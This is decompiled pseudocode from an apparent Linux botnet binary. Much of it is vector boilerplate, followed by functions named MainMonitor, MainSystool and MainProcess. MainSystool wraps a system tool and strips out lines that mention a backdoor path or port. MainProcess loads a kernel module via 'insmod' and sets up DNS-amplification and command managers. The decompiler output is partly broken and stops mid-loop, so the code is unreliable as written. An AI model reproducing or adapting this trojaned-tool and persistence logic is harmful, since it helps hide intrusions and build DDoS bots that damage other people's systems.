std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(struct struct_3 * a1, int32_t * a2) { struct struct_3 * v1 = NULL; int32_t result = (int32_t)a1; int32_t * v2; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v2); int32_t * v3; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v3); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); int32_t v4 = std____copy_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(v1, (struct struct_3 *)(int32_t)v1, (struct struct_3 *)(int32_t)v1); // 0x805f549 __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(&((struct struct_3 *)result)->e0, (int32_t *)v4); return result; } // Address range: 0x805f570 - 0x805f5ab int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { struct struct_3 * v1 = NULL; // bp-32 g101 = (int32_t)a1; std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v1, a2); *(int32_t *)g101 = (int32_t)v1; return g101; } // Address range: 0x805f5ac - 0x805f66f int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { struct struct_6 * v1 = NULL; // bp-17 int32_t v2 = g101; // 0x805f5af int32_t v3 = g98; // 0x805f5b0 g98 = (int32_t)a1; int32_t v4 = (int32_t)a3; // 0x805f5b7 g101 = v4; int32_t v5 = (int32_t)a2; // 0x805f5c4 int32_t * v6; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v6, v5); int32_t ** v7; std__copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v7, a4, v6, (int32_t *)g101); std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v1, a2); int32_t * v8; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v8, v5); std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_((int32_t *)v7); std__allocator_lt_CFakeCustom_gt_((int32_t *)v1); int32_t * v9 = (int32_t *)(v5 + 4); // 0x805f63f_0 int32_t v10 = *v9; int32_t v11 = v10 - 8 * __gnu_cxx__operator__lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a4, a3); // 0x805f65a g97 = v11; *v9 = v11; *(int32_t *)g98 = v4; int32_t result = g98; // 0x805f667 g98 = v3; g101 = v2; return result; } // Address range: 0x805f672 - 0x805f6bf int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___clear(int32_t * a1) { // 0x805f672 int32_t * v1; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v1, (int32_t)a1); int32_t * v2; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(v2, a1); int32_t ** v3; return std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___erase(v3, a1, v2, v1); } // Address range: 0x805f6c0 - 0x805f705 int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805f6ce g96 = v1; if (v1 > 7) { int32_t v2 = (int32_t)a3 - 8; // 0x805f6dd struct struct_3 * v3 = (struct struct_3 *)v2; // bp+12 g96 = v2; int32_t v4 = (int32_t)a2 - 8; // 0x805f6e6 struct struct_3 * v5 = (struct struct_3 *)v4; *(int32_t *)v2 = *(int32_t *)v4; v3->e1 = v5->e1; int32_t v6 = v1 / 8 - 1; // 0x805f6f9 while (v6 > 0) { // 0x805f6da // 0x805f6da v2 = (int32_t)v3 - 8; v3 = (struct struct_3 *)v2; g96 = v2; v4 = (int32_t)v5 - 8; v5 = (struct struct_3 *)v4; *(int32_t *)v2 = *(int32_t *)v4; v3->e1 = v5->e1; v6--; // branch -> 0x805f6da } // 0x805f701 return (int32_t)v3; } // 0x805f701 return (int32_t)a3; } // Address range: 0x805f706 - 0x805f725 int32_t std____copy_backward_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3) { // 0x805f706 return std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(a1, a2, a3); } // Address range: 0x805f726 - 0x805f78f int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { struct struct_3 * v1 = NULL; int32_t result = (int32_t)a1; int32_t * v2; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v2); int32_t * v3; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v3); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); int32_t v4 = std____copy_backward_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(&v1->e0, (struct struct_3 *)(int32_t)v1, (struct struct_3 *)(int32_t)v1); // 0x805f76b __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_((int32_t *)result, (int32_t *)v4); return result; } // Address range: 0x805f792 - 0x805f7cd int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { // 0x805f792 g101 = (int32_t)a1; int32_t * v1; std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v1, a2); *(int32_t *)g101 = (int32_t)v1; return g101; } // Address range: 0x806135c - 0x80613d7 int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x8061366 int32_t v1; *a1 = v1; int32_t * v2; if (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a2, v2) == 0) { // 0x80613cd return result; } g98 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a2); std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1), (struct struct_18 *)g98); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a2); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1); while (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a2, v2) != 0) { // 0x806136d g98 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a2); std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1), (struct struct_18 *)g98); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a2); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1); // continue -> 0x806136d } // 0x80613cd return result; } // Address range: 0x80613d8 - 0x806141b int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4) { int32_t result = (int32_t)a1; int32_t * v1; std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v1, a2); *(int32_t *)result = (int32_t)v1; return result; } // Address range: 0x806141c - 0x806144f int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4) { int32_t v1 = g101; // 0x806141f g101 = (int32_t)a1; int32_t ** v2; std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8061444 g101 = v1; return result; } // Address range: 0x8061450 - 0x8061797 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, struct struct_6 * a3) { struct struct_6 * v1 = NULL; // bp-76 struct struct_6 * v2 = NULL; // bp-45 struct struct_6 * v3 = NULL; // bp-37 struct struct_6 * v4 = NULL; // bp-29 struct struct_6 * v5 = NULL; int32_t v6 = g101; // 0x8061453 int32_t v7 = g98; // 0x8061454 int32_t * v8; // 0x8061796_11 if (a1->e1 == a1->e2) { int32_t v9 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size(&a1->e0); // 0x8061533 struct struct_6 * v10 = (struct struct_6 *)v9; // bp-20 std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size(); int32_t * v11; int32_t * v12; std____throw_length_error("vector::_M_insert_aux", (int32_t)NULL, (int32_t)v12, (int32_t)v11); struct struct_6 * v13 = NULL; // 0x8061583_0 struct struct_6 * v14 = (struct struct_6 *)1; if (v10 != NULL) { // 0x8061569 v13 = v10; v14 = (struct struct_6 *)(2 * (int32_t)v10); // branch -> 0x806157a } struct struct_6 * v15 = v14; // bp-16 struct struct_6 * v16 = v14; // 0x806159f_0 if (v14 < v13) { // 0x8061588 std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size(); v15 = (struct struct_6 *)0x1fffffff; v16 = (struct struct_6 *)0x1fffffff; // branch -> 0x8061599 } // 0x8061599 int32_t * v17; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v17, (int32_t *)std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_allocate((int32_t *)a1, v16)); std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v2, (int32_t *)a1); g98 = (int32_t)v17; g101 = (int32_t)a2; int32_t * v18; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v18, (int32_t *)a1); int32_t ** v19; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(v19, v18, (struct struct_6 *)g101, (int32_t *)g98); std__allocator_lt_CFakeCustom_gt_((int32_t *)v2); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base((int32_t *)v19); __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct((int32_t *)a1, (int32_t *)v5); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__((int32_t *)v19); std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v3, (int32_t *)a1); g98 = (int32_t)v19; int32_t * v20; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v20, (int32_t *)((int32_t)a1 + 4)); int32_t ** v21; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(v21, a2, (struct struct_6 *)v20, (int32_t *)g98); std__allocator_lt_CFakeCustom_gt_((int32_t *)v3); std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v4, (int32_t *)a1); int32_t * v22; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v22, (int32_t)a1); int32_t * v23; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(v23, (int32_t *)a1); std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_(v23); std__allocator_lt_CFakeCustom_gt_((int32_t *)v4); int32_t * v24 = a1->e2; // 0x8061719 int32_t v25 = *(int32_t *)a1; // 0x8061721 int32_t v26 = *(int32_t *)a1; // 0x8061731 g96 = (int32_t)a1; std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v26, (int32_t **)(((int32_t)v24 - v25) / 8)); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v17); a1->e0 = (int32_t *)v5; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base((int32_t *)v21); a1->e1 = (int32_t *)v5; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v17); int32_t v27 = 8 * (int32_t)v15 + (int32_t)v5; // 0x8061788 g97 = v27; *(int32_t *)((int32_t)a1 + 8) = v27; v8 = (int32_t *)a1; // branch -> 0x8061790 } else { // 0x806146c __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct((int32_t *)a1, a1->e1); a1->e1 = (int32_t *)((int32_t)a1->e1 + 8); v1 = (struct struct_6 *)*(int32_t *)a3; int32_t * v28 = a1->e1; // 0x80614ac int32_t * v29; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v29, (int32_t *)((int32_t)v28 - 8)); int32_t * v30 = a1->e1; // 0x80614cb int32_t * v31; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v31, (int32_t *)((int32_t)v30 - 16)); int32_t ** v32; std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v32, a2, v31, v29); int32_t v33 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a2); // 0x8061504 g97 = v33; ((struct struct_6 *)v33)->e1 = (int32_t *)(struct struct_12 *)a3->e1; CFakeCustom(); v8 = (int32_t *)&v1; // branch -> 0x8061790 } // 0x8061790 g98 = v7; g101 = v6; return (int32_t)v8; } // Address range: 0x8061798 - 0x8061807 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___push_back(int32_t * a1, int32_t * a2) { int32_t v1 = (int32_t)a1; // 0x806179e int32_t * v2 = (int32_t *)(v1 + 4); // 0x80617a1_0 int32_t * v3; // 0x80617fc_6 if (*v2 == *(int32_t *)(v1 + 8)) { // 0x80617d8 int32_t * v4; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v4, v1); v3 = (int32_t *)std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, (struct struct_6 *)a2); // branch -> 0x8061804 } else { // 0x80617ae __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct(a1, (int32_t *)*v2); int32_t v5 = *v2 + 8; // 0x80617cd g97 = v5; *v2 = v5; v3 = a1; // branch -> 0x8061804 } // 0x8061804 return (int32_t)v3; } // Address range: 0x8061c24 - 0x8061c47 void KillHandler(void) { int32_t v1 = g60; // bp-28 CManager__CloseAllSockets((char *)&v1, 1); v1 = 0; exit((int32_t)g2); // UNREACHABLE } // Address range: 0x8061c48 - 0x8061d3b int32_t MainMonitor(void) { // 0x8061c48 int32_t v1; int32_t v2 = v1; // bp-16 int32_t v3 = 1; // bp-60 int32_t v4 = daemon(1, (int32_t)g2); // 0x8061c56 if (v4 < 0 != false) { // 0x8061d37 return v4 < 0; } // 0x8061c69 v3 = std__string__c_str(&g48); CSysTool__MarkPid((char *)&v3, (char **)&g11); CSysTool__GetBeikongPathfile(v1); int32_t v5 = std__string__c_str(&v2); // 0x8061ca0 int32_t v6 = _Znwj(56, v2, g11); // 0x8061cb0 v3 = v5; CThreadMonGates_457((int32_t *)v6, v5); if (v6 != 0) { // 0x8061cf3 CThread__StartThread(v6); // branch -> 0x8061d02 } while (true) { // 0x8061d02 sleep(3600); // branch -> 0x8061d02 } } // Address range: 0x8061d3c - 0x80620ab int32_t MainSystool(int32_t * a1, int32_t ** a2, int32_t a3) { char * v1; CUtility__GetCurrentPathFile_542((int32_t *)v1); int32_t v2 = std__string__c_str((int32_t *)v1); // bp-1164 int32_t v3; int32_t v4; CSysTool__GetSystoolFile(&v4, (char *)&v2, v3); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); int32_t v5 = std__string__c_str((int32_t *)v1); // 0x8061dc7 int32_t result; // 0x806209b if (CFileOp__FileExists((char *)v5) == 1) { // 0x8061de7 char * v6; CSysTool__GetBackDoorPath((int32_t *)v6); int32_t v7 = g56; // 0x8061df6 char * v8; CUtility__Int2String((int32_t)v8, v7); int32_t v9; // 0x8061e5b int32_t v10; // 0x8061e88 int32_t v11; // 0x8061eea char * substr_pos; // 0x8061efd int32_t v12; // 0x8061fc158 int32_t * v13; if (a1 > (int32_t *)1) { for (int32_t i = 1; i < (int32_t)a1; i++) { // 0x8061e18 std__string__append_669((int32_t *)v1, (int32_t)" "); std__string__append_669((int32_t *)v1, (int32_t)*a2); // continue -> 0x8061e18 } // 0x8061e54 v9 = std__string__c_str((int32_t *)v1); if (_IO_popen(v9, (int32_t *)"r", v7) == 0) { // 0x8061e81 v10 = std__string__c_str((int32_t *)v1); system((char *)v10); // branch -> 0x8062013 } else { // 0x8061fbb v12 = _IO_feof((struct _struct__IO_FILE *)v1); if (((int32_t)(v12 == 0) || v12 & -256) != 0) { while (true) { // 0x8061eab memcpy(v13, (int32_t *)0x8100900, 1024); _IO_fgets((int32_t)v13, 1023, (int32_t *)v1, v4); v11 = std__string__c_str((int32_t *)v6); substr_pos = strstr((char *)v13, (char *)v11); if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) == 1) { lab_0x102d5c50:; char * substr_pos2 = strstr((char *)v13, (char *)std__string__c_str((int32_t *)v8)); // 0x8061f2c if (((int32_t)(substr_pos2 == NULL) || (int32_t)substr_pos2 & -256) == 1) { uint32_t str_as_i = atoi((char *)std__string__c_str((int32_t *)v8)); // 0x8061f50 char * str; memcpy((int32_t *)str, (int32_t *)0x81008c0, 16); _IO_sprintf((int32_t)str, (int32_t)"%d", str_as_i % 0x10000 + 100); if (strstr((char *)v13, str) == NULL) { // 0x8061fa4 _IO_printf("%s", (char *)v13); // branch -> 0x8061fbb } } } lab_0xa61bc90:; int32_t v14 = _IO_feof((struct _struct__IO_FILE *)v1); // 0x8061fc1 if (((int32_t)(v14 == 0) || v14 & -256) == 0) { // break -> 0x8061fd6 break; } // continue -> 0x8061eab } // 0x8061fd6 __new_pclose(); // branch -> 0x8062013 // 0x8062013 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6); // branch -> 0x8062094 // 0x8062094 result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return result; } // 0x8061fd6 __new_pclose(); // branch -> 0x8062013 } // 0x8062013 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6); // branch -> 0x8062094 // 0x8062094 result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return result; } // 0x8061e54 v9 = std__string__c_str((int32_t *)v1); if (_IO_popen(v9, (int32_t *)"r", v7) == 0) { // 0x8061e81 v10 = std__string__c_str((int32_t *)v1); system((char *)v10); // branch -> 0x8062013 } else { // 0x8061fbb v12 = _IO_feof((struct _struct__IO_FILE *)v1); if (((int32_t)(v12 == 0) || v12 & -256) != 0) { while (true) { // 0x8061eab memcpy(v13, (int32_t *)0x8100900, 1024); _IO_fgets((int32_t)v13, 1023, (int32_t *)v1, v4); v11 = std__string__c_str((int32_t *)v6); substr_pos = strstr((char *)v13, (char *)v11); if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) == 1) { goto lab_0x102d5c50; } goto lab_0xa61bc90; } } // 0x8061fd6 __new_pclose(); // branch -> 0x8062013 } // 0x8062013 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6); // branch -> 0x8062094 } // 0x8062094 result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return result; } // Address range: 0x80620ac - 0x80622ff int32_t MainProcess(void) { int32_t v1 = 2000; // bp-76 CUtility__Sleep(&v1); int32_t v2; CSysTool__GetUpdateTemporary(&v2); int32_t v3 = std__string__c_str(&v2); // 0x80620d9 CFileOp__RemoveFile((char *)v3); v1 = 300; CDNSCache__Initialize((char *)0x8132d20, 300); CConfigDoing__Initialize(&g43); CCmdDoing__Initialize(&g42); CStatBase__Initialize((struct _struct__IO_FILE *)&g62); CProvinceDns__InitReadResource((struct struct_49 *)&g61); v1 = (int32_t)"xpacket.ko"; int32_t v4; CUtility__GetCurrentPathFile(&v4, "xpacket.ko"); int32_t v5; std__allocator_lt_char_gt__598(v5); int32_t v6; int32_t v7; int32_t v8; int32_t v9; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v6, (int32_t)"insmod ", v5, v9, v8, v7); char * v10; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v10, (char *)&v6, (char *)&v4); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6); std__allocator_lt_char_gt_(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); system((char *)std__string__c_str((int32_t *)v10)); CAmpResource__InitReadResource((struct struct_1 *)&g26, (struct struct_1 *)"/usr/lib/libamplify.so"); int32_t v11 = _Znwj(1076, (int32_t)"/usr/lib/libamplify.so", v6); // 0x806224d int32_t * v12 = (int32_t *)v11; // 0x806225e CManager_182(v12); g60 = v11; if (v11 != 0) { // 0x8062292 CManager__Initialize(v12); // branch -> 0x80622a3 } // 0x80622a3 signal(SIGKILL, (void (*)(int32_t))KillHandler); // branch -> 0x80622b5 while (true) { // 0x80622b5 